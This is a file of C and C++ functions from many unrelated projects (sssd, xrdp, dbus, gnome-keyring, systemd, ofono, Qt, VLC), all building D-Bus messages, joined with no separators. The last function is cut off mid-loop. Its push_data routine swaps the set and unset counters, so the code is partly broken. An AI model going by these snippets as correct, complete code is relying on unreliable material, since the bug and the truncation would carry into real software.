void test_el_to_dict(void **state)
{
static struct sbus_request *sr;
dbus_bool_t dbret;
DBusMessageIter iter;
DBusMessageIter iter_dict;
struct ldb_message_element *el;
errno_t ret;
char *attr_name;
char *attr_val;
sr = mock_sbus_request(global_talloc_context, geteuid());
assert_non_null(sr);
el = talloc(sr, struct ldb_message_element);
assert_non_null(el);
el->name = "numbers";
el->values = talloc_array(el, struct ldb_val, 2);
assert_non_null(el->values);
el->num_values = 2;
el->values[0].data = (uint8_t *) discard_const("one");
el->values[0].length = strlen("one") + 1;
el->values[1].data = (uint8_t *) discard_const("two");
el->values[1].length = strlen("two") + 1;
dbus_message_iter_init_append(sr->message, &iter);
dbret = dbus_message_iter_open_container(
&iter, DBUS_TYPE_ARRAY,
DBUS_DICT_ENTRY_BEGIN_CHAR_AS_STRING
DBUS_TYPE_STRING_AS_STRING
DBUS_TYPE_VARIANT_AS_STRING
DBUS_DICT_ENTRY_END_CHAR_AS_STRING,
&iter_dict);
assert_true(dbret == TRUE);
ret = ifp_add_ldb_el_to_dict(&iter_dict, el);
assert_int_equal(ret, EOK);
dbret = dbus_message_iter_close_container(&iter, &iter_dict);
assert_true(dbret == TRUE);
/* Test the reply contains what we expect */
dbus_message_iter_init(sr->message, &iter);
assert_int_equal(dbus_message_iter_get_arg_type(&iter),
DBUS_TYPE_ARRAY);
dbus_message_iter_recurse(&iter, &iter);
assert_int_equal(dbus_message_iter_get_arg_type(&iter),
DBUS_TYPE_DICT_ENTRY);
dbus_message_iter_recurse(&iter, &iter_dict);
dbus_message_iter_get_basic(&iter_dict, &attr_name);
assert_string_equal(attr_name, "numbers");
dbus_message_iter_next(&iter_dict);
assert_int_equal(dbus_message_iter_get_arg_type(&iter_dict),
DBUS_TYPE_VARIANT);
dbus_message_iter_recurse(&iter_dict, &iter_dict);
assert_int_equal(dbus_message_iter_get_arg_type(&iter_dict),
DBUS_TYPE_ARRAY);
dbus_message_iter_recurse(&iter_dict, &iter_dict);
dbus_message_iter_get_basic(&iter_dict, &attr_val);
assert_string_equal(attr_val, "one");
assert_true(dbus_message_iter_next(&iter_dict));
dbus_message_iter_get_basic(&iter_dict, &attr_val);
assert_string_equal(attr_val, "two");
assert_false(dbus_message_iter_next(&iter_dict));
}
static char *
session_ck_open_session (DBusConnection *connection,
const char *username,
int display)
{
DBusError error;
DBusMessage *message;
DBusMessage *reply;
DBusMessageIter iter;
DBusMessageIter iter_array;
dbus_bool_t res;
char *ret;
char *cookie;
dbus_bool_t is_local = FALSE;
dbus_bool_t active = TRUE;
int uid;
char display_str[256];
const char *x11_display = display_str;
const char *session_type = "rdp";
reply = NULL;
message = NULL;
ret = NULL;
g_sprintf(display_str, ":%d", display);
if (g_getuser_info(username, 0, &uid, 0, 0, 0))
goto out;
message =
dbus_message_new_method_call ("org.freedesktop.ConsoleKit",
"/org/freedesktop/ConsoleKit/Manager",
"org.freedesktop.ConsoleKit.Manager",
"OpenSessionWithParameters");
if (message == NULL) {
goto out;
}
dbus_message_iter_init_append (message, &iter);
if (! dbus_message_iter_open_container (&iter,
DBUS_TYPE_ARRAY,
"(sv)",
&iter_array)) {
goto out;
}
if (!add_param_basic (&iter_array,
"unix-user",
DBUS_TYPE_INT32,
&uid) ||
!add_param_basic (&iter_array,
"x11-display",
DBUS_TYPE_STRING,
&x11_display) ||
!add_param_basic (&iter_array,
"is-local",
DBUS_TYPE_BOOLEAN,
&is_local) ||
!add_param_basic (&iter_array,
"active",
DBUS_TYPE_BOOLEAN,
&active) ||
!add_param_basic (&iter_array,
"session-type",
DBUS_TYPE_STRING,
&session_type)) {
log_message(&(g_cfg->log), LOG_LEVEL_ALWAYS,
"Error adding ck session parameter");
goto out;
}
if (! dbus_message_iter_close_container (&iter, &iter_array)) {
goto out;
}
dbus_error_init (&error);
reply = dbus_connection_send_with_reply_and_block (connection,
message,
-1,
&error);
if (reply == NULL) {
if (dbus_error_is_set (&error)) {
log_message(&(g_cfg->log), LOG_LEVEL_ALWAYS,
"Unable to open session: %s",
error.message);
dbus_error_free (&error);
goto out;
}
}
dbus_error_init (&error);
if (! dbus_message_get_args (reply,
&error,
DBUS_TYPE_STRING, &cookie,
DBUS_TYPE_INVALID)) {
if (dbus_error_is_set (&error)) {
log_message(&(g_cfg->log), LOG_LEVEL_ALWAYS,
"Unable to open session: %s",
error.message);
dbus_error_free (&error);
goto out;
}
}
ret = g_strdup (cookie);
out:
if (reply != NULL) {
dbus_message_unref (reply);
}
if (message != NULL) {
dbus_message_unref (message);
}
return ret;
}
static dbus_bool_t
bus_driver_handle_list_services (DBusConnection *connection,
BusTransaction *transaction,
DBusMessage *message,
DBusError *error)
{
DBusMessage *reply;
int len;
char **services;
BusRegistry *registry;
int i;
DBusMessageIter iter;
DBusMessageIter sub;
_DBUS_ASSERT_ERROR_IS_CLEAR (error);
registry = bus_connection_get_registry (connection);
reply = dbus_message_new_method_return (message);
if (reply == NULL)
{
BUS_SET_OOM (error);
return FALSE;
}
if (!bus_registry_list_services (registry, &services, &len))
{
dbus_message_unref (reply);
BUS_SET_OOM (error);
return FALSE;
}
dbus_message_iter_init_append (reply, &iter);
if (!dbus_message_iter_open_container (&iter, DBUS_TYPE_ARRAY,
DBUS_TYPE_STRING_AS_STRING,
&sub))
{
dbus_free_string_array (services);
dbus_message_unref (reply);
BUS_SET_OOM (error);
return FALSE;
}
{
/* Include the bus driver in the list */
const char *v_STRING = DBUS_SERVICE_DBUS;
if (!dbus_message_iter_append_basic (&sub, DBUS_TYPE_STRING,
&v_STRING))
{
dbus_free_string_array (services);
dbus_message_unref (reply);
BUS_SET_OOM (error);
return FALSE;
}
}
i = 0;
while (i < len)
{
if (!dbus_message_iter_append_basic (&sub, DBUS_TYPE_STRING,
&services[i]))
{
dbus_free_string_array (services);
dbus_message_unref (reply);
BUS_SET_OOM (error);
return FALSE;
}
++i;
}
if (!dbus_message_iter_close_container (&iter, &sub))
{
dbus_free_string_array (services);
dbus_message_unref (reply);
BUS_SET_OOM (error);
return FALSE;
}
dbus_free_string_array (services);
if (!bus_transaction_send_from_driver (transaction, connection, reply))
{
dbus_message_unref (reply);
BUS_SET_OOM (error);
return FALSE;
}
else
{
dbus_message_unref (reply);
return TRUE;
}
}
static DBusHandlerResult
message_handler_cb (DBusConnection *conn, DBusMessage *message, void *user_data)
{
/*
* Here we handle the requests to our own gnome-keyring DBus interfaces
*/
DBusMessageIter args;
DBusMessage *reply = NULL;
/* GetEnvironment */
if (dbus_message_get_type (message) == DBUS_MESSAGE_TYPE_METHOD_CALL &&
dbus_message_is_method_call (message, GNOME_KEYRING_DAEMON_INTERFACE, "GetEnvironment") &&
g_str_equal (dbus_message_get_signature (message), "")) {
const gchar **env;
DBusMessageIter items, entry;
env = gkd_util_get_environment ();
g_return_val_if_fail (env, DBUS_HANDLER_RESULT_NOT_YET_HANDLED);
/* Setup the result */
reply = dbus_message_new_method_return (message);
dbus_message_iter_init_append (reply, &args);
if (!dbus_message_iter_open_container (&args, DBUS_TYPE_ARRAY, "{ss}", &items))
g_return_val_if_reached (DBUS_HANDLER_RESULT_NEED_MEMORY);
while (*env) {
gchar **parts;
parts = g_strsplit (*env, "=", 2);
g_return_val_if_fail (parts && parts[0] && parts[1], DBUS_HANDLER_RESULT_NOT_YET_HANDLED);
if (!dbus_message_iter_open_container (&items, DBUS_TYPE_DICT_ENTRY, NULL, &entry) ||
!dbus_message_iter_append_basic (&entry, DBUS_TYPE_STRING, &parts[0]) ||
!dbus_message_iter_append_basic (&entry, DBUS_TYPE_STRING, &parts[1]) ||
!dbus_message_iter_close_container (&items, &entry)) {
g_strfreev (parts);
g_return_val_if_reached (DBUS_HANDLER_RESULT_NEED_MEMORY);
}
g_strfreev (parts);
++env;
}
if (!dbus_message_iter_close_container (&args, &items))
g_return_val_if_reached (DBUS_HANDLER_RESULT_NEED_MEMORY);
/* GetControlDirectory */
} else if (dbus_message_get_type (message) == DBUS_MESSAGE_TYPE_METHOD_CALL &&
dbus_message_is_method_call (message, GNOME_KEYRING_DAEMON_INTERFACE, "GetControlDirectory") &&
g_str_equal (dbus_message_get_signature (message), "")) {
/* Setup the result */
const gchar *directory = gkd_util_get_master_directory ();
reply = dbus_message_new_method_return (message);
dbus_message_append_args (reply, DBUS_TYPE_STRING, &directory, DBUS_TYPE_INVALID);
/* Unknown call */
} else {
return DBUS_HANDLER_RESULT_NOT_YET_HANDLED;
}
/* Send the reply */
if (!dbus_connection_send (conn, reply, NULL))
g_return_val_if_reached (DBUS_HANDLER_RESULT_NEED_MEMORY);
dbus_connection_flush (conn);
return DBUS_HANDLER_RESULT_HANDLED;
}
int verify_polkit(
DBusConnection *c,
DBusMessage *request,
const char *action,
bool interactive,
bool *_challenge,
DBusError *error) {
#ifdef ENABLE_POLKIT
DBusMessage *m = NULL, *reply = NULL;
const char *unix_process = "unix-process", *pid = "pid", *starttime = "start-time", *cancel_id = "";
uint32_t flags = interactive ? 1 : 0;
pid_t pid_raw;
uint32_t pid_u32;
unsigned long long starttime_raw;
uint64_t starttime_u64;
DBusMessageIter iter_msg, iter_struct, iter_array, iter_dict, iter_variant;
int r;
dbus_bool_t authorized = FALSE, challenge = FALSE;
#endif
const char *sender;
unsigned long ul;
assert(c);
assert(request);
sender = dbus_message_get_sender(request);
if (!sender)
return -EINVAL;
ul = dbus_bus_get_unix_user(c, sender, error);
if (ul == (unsigned long) -1)
return -EINVAL;
/* Shortcut things for root, to avoid the PK roundtrip and dependency */
if (ul == 0)
return 1;
#ifdef ENABLE_POLKIT
pid_raw = bus_get_unix_process_id(c, sender, error);
if (pid_raw == 0)
return -EINVAL;
r = get_starttime_of_pid(pid_raw, &starttime_raw);
if (r < 0)
return r;
m = dbus_message_new_method_call(
"org.freedesktop.PolicyKit1",
"/org/freedesktop/PolicyKit1/Authority",
"org.freedesktop.PolicyKit1.Authority",
"CheckAuthorization");
if (!m)
return -ENOMEM;
dbus_message_iter_init_append(m, &iter_msg);
pid_u32 = (uint32_t) pid_raw;
starttime_u64 = (uint64_t) starttime_raw;
if (!dbus_message_iter_open_container(&iter_msg, DBUS_TYPE_STRUCT, NULL, &iter_struct) ||
!dbus_message_iter_append_basic(&iter_struct, DBUS_TYPE_STRING, &unix_process) ||
!dbus_message_iter_open_container(&iter_struct, DBUS_TYPE_ARRAY, "{sv}", &iter_array) ||
!dbus_message_iter_open_container(&iter_array, DBUS_TYPE_DICT_ENTRY, NULL, &iter_dict) ||
!dbus_message_iter_append_basic(&iter_dict, DBUS_TYPE_STRING, &pid) ||
!dbus_message_iter_open_container(&iter_dict, DBUS_TYPE_VARIANT, "u", &iter_variant) ||
!dbus_message_iter_append_basic(&iter_variant, DBUS_TYPE_UINT32, &pid_u32) ||
!dbus_message_iter_close_container(&iter_dict, &iter_variant) ||
!dbus_message_iter_close_container(&iter_array, &iter_dict) ||
!dbus_message_iter_open_container(&iter_array, DBUS_TYPE_DICT_ENTRY, NULL, &iter_dict) ||
!dbus_message_iter_append_basic(&iter_dict, DBUS_TYPE_STRING, &starttime) ||
!dbus_message_iter_open_container(&iter_dict, DBUS_TYPE_VARIANT, "t", &iter_variant) ||
!dbus_message_iter_append_basic(&iter_variant, DBUS_TYPE_UINT64, &starttime_u64) ||
!dbus_message_iter_close_container(&iter_dict, &iter_variant) ||
!dbus_message_iter_close_container(&iter_array, &iter_dict) ||
!dbus_message_iter_close_container(&iter_struct, &iter_array) ||
!dbus_message_iter_close_container(&iter_msg, &iter_struct) ||
!dbus_message_iter_append_basic(&iter_msg, DBUS_TYPE_STRING, &action) ||
!dbus_message_iter_open_container(&iter_msg, DBUS_TYPE_ARRAY, "{ss}", &iter_array) ||
!dbus_message_iter_close_container(&iter_msg, &iter_array) ||
!dbus_message_iter_append_basic(&iter_msg, DBUS_TYPE_UINT32, &flags) ||
!dbus_message_iter_append_basic(&iter_msg, DBUS_TYPE_STRING, &cancel_id)) {
r = -ENOMEM;
goto finish;
}
reply = dbus_connection_send_with_reply_and_block(c, m, -1, error);
if (!reply) {
/* Treat no PK available as access denied */
if (dbus_error_has_name(error, DBUS_ERROR_SERVICE_UNKNOWN)) {
r = -EACCES;
dbus_error_free(error);
goto finish;
}
r = -EIO;
goto finish;
}
if (!dbus_message_iter_init(reply, &iter_msg) ||
dbus_message_iter_get_arg_type(&iter_msg) != DBUS_TYPE_STRUCT) {
r = -EIO;
goto finish;
}
dbus_message_iter_recurse(&iter_msg, &iter_struct);
if (dbus_message_iter_get_arg_type(&iter_struct) != DBUS_TYPE_BOOLEAN) {
r = -EIO;
goto finish;
}
dbus_message_iter_get_basic(&iter_struct, &authorized);
if (!dbus_message_iter_next(&iter_struct) ||
dbus_message_iter_get_arg_type(&iter_struct) != DBUS_TYPE_BOOLEAN) {
r = -EIO;
goto finish;
}
dbus_message_iter_get_basic(&iter_struct, &challenge);
if (authorized)
r = 1;
else if (_challenge) {
*_challenge = !!challenge;
r = 0;
} else
r = -EPERM;
finish:
if (m)
dbus_message_unref(m);
if (reply)
dbus_message_unref(reply);
return r;
#else
return -EPERM;
#endif
}
static void process_properties_from_interface(struct generic_data *data,
struct interface_data *iface)
{
GSList *l;
DBusMessage *signal;
DBusMessageIter iter, dict, array;
GSList *invalidated;
if (iface->pending_prop == NULL)
return;
signal = dbus_message_new_signal(data->path,
DBUS_INTERFACE_PROPERTIES, "PropertiesChanged");
if (signal == NULL) {
error("Unable to allocate new " DBUS_INTERFACE_PROPERTIES
".PropertiesChanged signal");
return;
}
iface->pending_prop = g_slist_reverse(iface->pending_prop);
dbus_message_iter_init_append(signal, &iter);
dbus_message_iter_append_basic(&iter, DBUS_TYPE_STRING, &iface->name);
dbus_message_iter_open_container(&iter, DBUS_TYPE_ARRAY,
DBUS_DICT_ENTRY_BEGIN_CHAR_AS_STRING
DBUS_TYPE_STRING_AS_STRING DBUS_TYPE_VARIANT_AS_STRING
DBUS_DICT_ENTRY_END_CHAR_AS_STRING, &dict);
invalidated = NULL;
for (l = iface->pending_prop; l != NULL; l = l->next) {
GDBusPropertyTable *p = l->data;
if (p->get == NULL)
continue;
if (p->exists != NULL && !p->exists(p, iface->user_data)) {
invalidated = g_slist_prepend(invalidated, p);
continue;
}
append_property(iface, p, &dict);
}
dbus_message_iter_close_container(&iter, &dict);
dbus_message_iter_open_container(&iter, DBUS_TYPE_ARRAY,
DBUS_TYPE_STRING_AS_STRING, &array);
for (l = invalidated; l != NULL; l = g_slist_next(l)) {
GDBusPropertyTable *p = l->data;
dbus_message_iter_append_basic(&array, DBUS_TYPE_STRING,
&p->name);
}
g_slist_free(invalidated);
dbus_message_iter_close_container(&iter, &array);
g_dbus_send_message(data->conn, signal);
g_slist_free(iface->pending_prop);
iface->pending_prop = NULL;
}
static void to_dbus_iter_from_dict(DBusMessageIter* parent_it, const EdbusData& data) {
E_ASSERT(data.is_dict());
EdbusDict dict = data.to_dict();
/* TODO: allow empty containers ??? */
if(dict.size() < 1)
return;
/*
* TODO: check signature size in DBus spec (or use edelib::String here)
*
* Also, this part needs a better code, especially in case when value signature
* is needed. Value can be another dict, struct or array of dicts, struct, variants
* and etc. so I need better singature builder.
*/
char sig[256];
const char* key_sig = from_edbusdata_type_to_dbus_type_string(dict.key_type());
//const char* value_sig = from_edbusdata_type_to_dbus_type_string(dict.value_type());
#if 0
const char* value_sig;
if(dict.value_type() == EDBUS_TYPE_DICT)
value_sig = "a{ss}";
else
value_sig = from_edbusdata_type_to_dbus_type_string(dict.value_type());
#endif
const char* value_sig;
String ss;
if(dict.value_type_is_container()) {
/*
* We already have correct header that represents dict array. Now
* go and recurse into dict value container
*/
EdbusDict::const_iterator first = dict.begin();
build_signature((*first).value, ss);
value_sig = ss.c_str();
} else
value_sig = from_edbusdata_type_to_dbus_type_string(dict.value_type());
/*
* Dicts are serialized as array of dict entries. We first build signature for array
* elements, then iterate over EdbusDict entries and from key/value pairs construct a
* DBus dict entry then append that entry to the array
*
* A signature for dictionary will be 'a{TYPE TYPE}'. dbus_message_iter_open_container() will
* append 'a' to the signature.
*/
snprintf(sig, sizeof(sig), "%c%s%s%c",
DBUS_DICT_ENTRY_BEGIN_CHAR,
key_sig,
value_sig,
DBUS_DICT_ENTRY_END_CHAR);
/* printf("Dict entry signature: %s\n", sig); */
DBusMessageIter sub;
dbus_message_iter_open_container(parent_it, DBUS_TYPE_ARRAY, sig, &sub);
EdbusDict::const_iterator it = dict.begin(), it_end = dict.end();
for(; it != it_end; ++it) {
DBusMessageIter dict_entry_iter;
dbus_message_iter_open_container(&sub, DBUS_TYPE_DICT_ENTRY, 0, &dict_entry_iter);
/*
* append key; it is always basic type
* TODO: here should be assertion check
*/
to_dbus_iter_from_basic_type(&dict_entry_iter, (*it).key);
/* append value, can be any type */
to_dbus_iter_from_edbusdata_type(&dict_entry_iter, (*it).value);
dbus_message_iter_close_container(&sub, &dict_entry_iter);
}
dbus_message_iter_close_container(parent_it, &sub);
}
static DBusMessage *cf_ss_control_reply(struct ofono_call_forwarding *cf,
struct cf_ss_request *req)
{
const char *context = "CallForwarding";
const char *sig = "(ssa{sv})";
const char *ss_type = ss_control_type_to_string(req->ss_type);
const char *cf_type = cf_type_lut[req->cf_type];
DBusMessageIter iter;
DBusMessageIter variant;
DBusMessageIter vstruct;
DBusMessageIter dict;
DBusMessage *reply;
reply = dbus_message_new_method_return(cf->pending);
dbus_message_iter_init_append(reply, &iter);
dbus_message_iter_append_basic(&iter, DBUS_TYPE_STRING, &context);
dbus_message_iter_open_container(&iter, DBUS_TYPE_VARIANT, sig,
&variant);
dbus_message_iter_open_container(&variant, DBUS_TYPE_STRUCT, NULL,
&vstruct);
dbus_message_iter_append_basic(&vstruct, DBUS_TYPE_STRING,
&ss_type);
dbus_message_iter_append_basic(&vstruct, DBUS_TYPE_STRING,
&cf_type);
dbus_message_iter_open_container(&vstruct, DBUS_TYPE_ARRAY,
OFONO_PROPERTIES_ARRAY_SIGNATURE, &dict);
if (req->cf_type == CALL_FORWARDING_TYPE_UNCONDITIONAL ||
req->cf_type == CALL_FORWARDING_TYPE_ALL)
property_append_cf_conditions(&dict,
req->cf_list[CALL_FORWARDING_TYPE_UNCONDITIONAL],
req->cls,
cf_type_lut[CALL_FORWARDING_TYPE_UNCONDITIONAL]);
if (req->cf_type == CALL_FORWARDING_TYPE_NO_REPLY ||
req->cf_type == CALL_FORWARDING_TYPE_ALL ||
req->cf_type == CALL_FORWARDING_TYPE_ALL_CONDITIONAL)
property_append_cf_conditions(&dict,
req->cf_list[CALL_FORWARDING_TYPE_NO_REPLY],
req->cls, cf_type_lut[CALL_FORWARDING_TYPE_NO_REPLY]);
if (req->cf_type == CALL_FORWARDING_TYPE_NOT_REACHABLE ||
req->cf_type == CALL_FORWARDING_TYPE_ALL ||
req->cf_type == CALL_FORWARDING_TYPE_ALL_CONDITIONAL)
property_append_cf_conditions(&dict,
req->cf_list[CALL_FORWARDING_TYPE_NOT_REACHABLE],
req->cls,
cf_type_lut[CALL_FORWARDING_TYPE_NOT_REACHABLE]);
if (req->cf_type == CALL_FORWARDING_TYPE_BUSY ||
req->cf_type == CALL_FORWARDING_TYPE_ALL ||
req->cf_type == CALL_FORWARDING_TYPE_ALL_CONDITIONAL)
property_append_cf_conditions(&dict,
req->cf_list[CALL_FORWARDING_TYPE_BUSY],
req->cls, cf_type_lut[CALL_FORWARDING_TYPE_BUSY]);
dbus_message_iter_close_container(&vstruct, &dict);
dbus_message_iter_close_container(&variant, &vstruct);
dbus_message_iter_close_container(&iter, &variant);
return reply;
}
static bool qAppendArrayToMessage(DBusMessageIter *it, const QDBusType &subType,
const QVariant &var)
{
bool ok = false;
DBusMessageIter sub;
dbus_message_iter_open_container(it, DBUS_TYPE_ARRAY, subType.dbusSignature(), &sub);
switch (var.type())
{
case QVariant::StringList: {
const QStringList list = var.toStringList();
foreach (QString str, list)
qIterAppend(&sub, subType, str.toUtf8().constData());
ok = true;
break;
}
case QVariant::ByteArray: {
const QByteArray array = var.toByteArray();
const char* cdata = array.constData();
dbus_message_iter_append_fixed_array(&sub, DBUS_TYPE_BYTE, &cdata, array.length());
ok = true;
break;
}
case QVariant::Map: {
const QVariantMap map = var.toMap();
const QDBusTypeList& subTypes = subType.subTypes();
ok = true;
for (QMap<QString, QVariant>::const_iterator mit = map.constBegin();
ok && mit != map.constEnd(); ++mit) {
DBusMessageIter itemIterator;
dbus_message_iter_open_container(&sub, DBUS_TYPE_DICT_ENTRY, 0, &itemIterator);
// let the string be converted to QVariant
if (!qVariantToIteratorInternal(&itemIterator, mit.key(), subTypes[0]))
ok = false;
else if (!qVariantToIteratorInternal(&itemIterator, mit.value(), subTypes[1]))
ok = false;
dbus_message_iter_close_container(&sub, &itemIterator);
}
break;
}
case QVariant::List: {
const QVariantList list = var.toList();
ok = true;
foreach (QVariant v, list)
if (!qVariantToIteratorInternal(&sub, v, subType)) {
ok = false;
break;
}
break;
}
default: {
int id = var.userType();
ok = true;
if (id == QDBusTypeHelper<bool>::listId())
qAppendListToMessage<dbus_bool_t,bool>(&sub, subType, var);
else if (id == QDBusTypeHelper<short>::listId())
qAppendListToMessage<dbus_int16_t,short>(&sub, subType, var);
else if (id == QDBusTypeHelper<ushort>::listId())
qAppendListToMessage<dbus_uint16_t,ushort>(&sub, subType, var);
else if (id == QDBusTypeHelper<int>::listId())
qAppendListToMessage<dbus_int32_t,int>(&sub, subType, var);
else if (id == QDBusTypeHelper<uint>::listId())
qAppendListToMessage<dbus_uint32_t,uint>(&sub, subType, var);
else if (id == QDBusTypeHelper<qlonglong>::listId())
qAppendListToMessage<dbus_int64_t,qlonglong>(&sub, subType, var);
else if (id == QDBusTypeHelper<qulonglong>::listId())
qAppendListToMessage<dbus_uint64_t,qulonglong>(&sub, subType, var);
else if (id == QDBusTypeHelper<double>::listId())
qAppendListToMessage<double,double>(&sub, subType, var);
#if 0 // never reached, since QVariant::List mached
else if (id == QDBusTypeHelper<QVariant>::listId())
qAppendListToMessage<QVariant,QVariant>(&sub, subType, var);
#endif
else {
qFatal("qAppendArrayToMessage got unknown type!");
ok = false;
}
break;
}
}
dbus_message_iter_close_container(it, &sub);
return ok;
}
/*******************************************************************************
* igmp_snp_dbus_show_route_port
*
* DESCRIPTION:
* show multicast route-port.
*
* INPUTS:
* conn - dbusconnection
* msg - dbusmessage
* user_data - dbus data
*
* OUTPUTS:
* null
*
* RETURNS:
* reply -
*
* COMMENTS:
*
**
********************************************************************************/
DBusMessage *igmp_snp_dbus_show_route_port
(
DBusConnection *conn,
DBusMessage *msg,
void *user_data
)
{
DBusMessage *reply;
DBusMessageIter iter;
DBusError err;
DBusMessageIter iter_array;
unsigned int i = 0;
unsigned int count = 0;
unsigned int ret = IGMPSNP_RETURN_CODE_OK;
unsigned short vlanId = 0;
long eth_g_index_array[IGMP_DBUS_MAX_ETHPORT_PER_BOARD * IGMP_DBUS_MAX_CHASSIS_SLOT_COUNT];
/* init routeArray */
for (i = 0; i < (IGMP_DBUS_MAX_ETHPORT_PER_BOARD * IGMP_DBUS_MAX_CHASSIS_SLOT_COUNT); i++)
{
eth_g_index_array[i] = -1;
}
dbus_error_init(&err);
if (!(dbus_message_get_args(msg, &err,
DBUS_TYPE_UINT16, &vlanId,
DBUS_TYPE_INVALID)))
{
igmp_snp_syslog_err("Unable to get input args ");
if (dbus_error_is_set(&err)) {
igmp_snp_syslog_err("%s raised: %s", err.name, err.message);
dbus_error_free(&err);
}
return NULL;
}
ret = igmp_snp_route_port_show(vlanId, &count, eth_g_index_array);
for (i = 0; i < count; i++)
{
if (eth_g_index_array[i] != -1) {
igmp_snp_syslog_dbg("eth_g_index_array[%d]=[%d]\n", i, eth_g_index_array[i]);
}
}
reply = dbus_message_new_method_return(msg);
dbus_message_iter_init_append(reply, &iter);
dbus_message_iter_append_basic(&iter,
DBUS_TYPE_UINT32, &ret);
dbus_message_iter_append_basic(&iter,
DBUS_TYPE_UINT32, &count);
dbus_message_iter_open_container(&iter,
DBUS_TYPE_ARRAY,
DBUS_STRUCT_BEGIN_CHAR_AS_STRING
DBUS_TYPE_UINT32_AS_STRING
DBUS_STRUCT_END_CHAR_AS_STRING,
&iter_array);
for (i = 0; i < count; i++)
{
DBusMessageIter iter_struct;
dbus_message_iter_open_container(&iter_array,
DBUS_TYPE_STRUCT,
NULL,
&iter_struct);
dbus_message_iter_append_basic(&iter_struct,
DBUS_TYPE_UINT32,
&(eth_g_index_array[i]));
dbus_message_iter_close_container(&iter_array, &iter_struct);
}
dbus_message_iter_close_container (&iter, &iter_array);
return reply;
}
static DBusMessage *radio_get_properties_reply(DBusMessage *msg,
struct ofono_radio_settings *rs)
{
DBusMessage *reply;
DBusMessageIter iter;
DBusMessageIter dict;
const char *mode = radio_access_mode_to_string(rs->mode);
reply = dbus_message_new_method_return(msg);
if (reply == NULL)
return NULL;
dbus_message_iter_init_append(reply, &iter);
dbus_message_iter_open_container(&iter, DBUS_TYPE_ARRAY,
OFONO_PROPERTIES_ARRAY_SIGNATURE,
&dict);
ofono_dbus_dict_append(&dict, "TechnologyPreference",
DBUS_TYPE_STRING, &mode);
if (rs->driver->query_band) {
const char *band = radio_band_gsm_to_string(rs->band_gsm);
ofono_dbus_dict_append(&dict, "GsmBand",
DBUS_TYPE_STRING, &band);
band = radio_band_umts_to_string(rs->band_umts);
ofono_dbus_dict_append(&dict, "UmtsBand",
DBUS_TYPE_STRING, &band);
}
if (rs->driver->query_fast_dormancy) {
dbus_bool_t value = rs->fast_dormancy;
ofono_dbus_dict_append(&dict, "FastDormancy",
DBUS_TYPE_BOOLEAN, &value);
}
if (rs->available_rats) {
const char *rats[sizeof(uint32_t) * CHAR_BIT + 1];
const char **dbus_rats = rats;
int n = 0;
unsigned int i;
for (i = 0; i < sizeof(uint32_t) * CHAR_BIT; i++) {
int tech = 1 << i;
if (!(rs->available_rats & tech))
continue;
rats[n++] = radio_access_mode_to_string(tech);
}
rats[n] = NULL;
ofono_dbus_dict_append_array(&dict, "AvailableTechnologies",
DBUS_TYPE_STRING, &dbus_rats);
}
dbus_message_iter_close_container(&iter, &dict);
return reply;
}
int GetInputMeta( input_item_t* p_input,
DBusMessageIter *args )
{
DBusMessageIter dict, dict_entry, variant;
/** The duration of the track can be expressed in second, milli-seconds and
µ-seconds */
dbus_int64_t i_mtime = input_item_GetDuration( p_input );
dbus_uint32_t i_time = i_mtime / 1000000;
dbus_int64_t i_length = i_mtime / 1000;
char *psz_trackid;
if( -1 == asprintf( &psz_trackid, MPRIS_TRACKID_FORMAT, p_input->i_id ) )
return VLC_ENOMEM;
const char* ppsz_meta_items[] =
{
"mpris:trackid", "xesam:url", "xesam:title", "xesam:artist", "xesam:album",
"xesam:tracknumber", "vlc:time", "mpris:length", "xesam:genre",
"xesam:userRating", "xesam:contentCreated", "mpris:artUrl", "mb:trackId",
"vlc:audio-bitrate", "vlc:audio-samplerate", "vlc:video-bitrate",
"vlc:audio-codec", "vlc:copyright", "xesam:comment", "vlc:encodedby",
"language", "vlc:length", "vlc:nowplaying", "vlc:publisher", "vlc:setting",
"status", "vlc:url", "vlc:video-codec"
};
dbus_message_iter_open_container( args, DBUS_TYPE_ARRAY, "{sv}", &dict );
ADD_META( 0, DBUS_TYPE_OBJECT_PATH, psz_trackid );
ADD_VLC_META_STRING( 1, URI );
ADD_VLC_META_STRING( 2, Title );
ADD_VLC_META_STRING( 3, Artist );
ADD_VLC_META_STRING( 4, Album );
ADD_VLC_META_STRING( 5, TrackNum );
ADD_META( 6, DBUS_TYPE_UINT32, i_time );
ADD_META( 7, DBUS_TYPE_INT64, i_mtime );
ADD_VLC_META_STRING( 8, Genre );
ADD_VLC_META_STRING( 9, Rating );
ADD_VLC_META_STRING( 10, Date );
ADD_VLC_META_STRING( 11, ArtURL );
ADD_VLC_META_STRING( 12, TrackID );
ADD_VLC_META_STRING( 17, Copyright );
ADD_VLC_META_STRING( 18, Description );
ADD_VLC_META_STRING( 19, EncodedBy );
ADD_VLC_META_STRING( 20, Language );
ADD_META( 21, DBUS_TYPE_INT64, i_length );
ADD_VLC_META_STRING( 22, NowPlaying );
ADD_VLC_META_STRING( 23, Publisher );
ADD_VLC_META_STRING( 24, Setting );
ADD_VLC_META_STRING( 25, URL );
free( psz_trackid );
vlc_mutex_lock( &p_input->lock );
if( p_input->p_meta )
{
int i_status = vlc_meta_GetStatus( p_input->p_meta );
ADD_META( 23, DBUS_TYPE_INT32, i_status );
}
vlc_mutex_unlock( &p_input->lock );
dbus_message_iter_close_container( args, &dict );
return VLC_SUCCESS;
}
static void push_data(DBusConnection *bus) {
char **l_set = NULL, **l_unset = NULL, **t;
int c_set = 0, c_unset = 0, p;
DBusError error;
DBusMessage *m = NULL, *reply = NULL;
DBusMessageIter iter, sub;
dbus_error_init(&error);
assert(bus);
l_set = new0(char*, _PROP_MAX);
l_unset = new0(char*, _PROP_MAX);
if (!l_set || !l_unset) {
log_oom();
goto finish;
}
for (p = 0; p < _PROP_MAX; p++) {
assert(names[p]);
if (isempty(data[p]))
l_unset[c_set++] = (char*) names[p];
else {
char *s;
if (asprintf(&s, "%s=%s", names[p], data[p]) < 0) {
log_oom();
goto finish;
}
l_set[c_unset++] = s;
}
}
assert(c_set + c_unset == _PROP_MAX);
m = dbus_message_new_method_call("org.freedesktop.systemd1", "/org/freedesktop/systemd1", "org.freedesktop.systemd1.Manager", "UnsetAndSetEnvironment");
if (!m) {
log_error("Could not allocate message.");
goto finish;
}
dbus_message_iter_init_append(m, &iter);
if (!dbus_message_iter_open_container(&iter, DBUS_TYPE_ARRAY, "s", &sub)) {
log_oom();
goto finish;
}
STRV_FOREACH(t, l_unset)
if (!dbus_message_iter_append_basic(&sub, DBUS_TYPE_STRING, t)) {
log_oom();
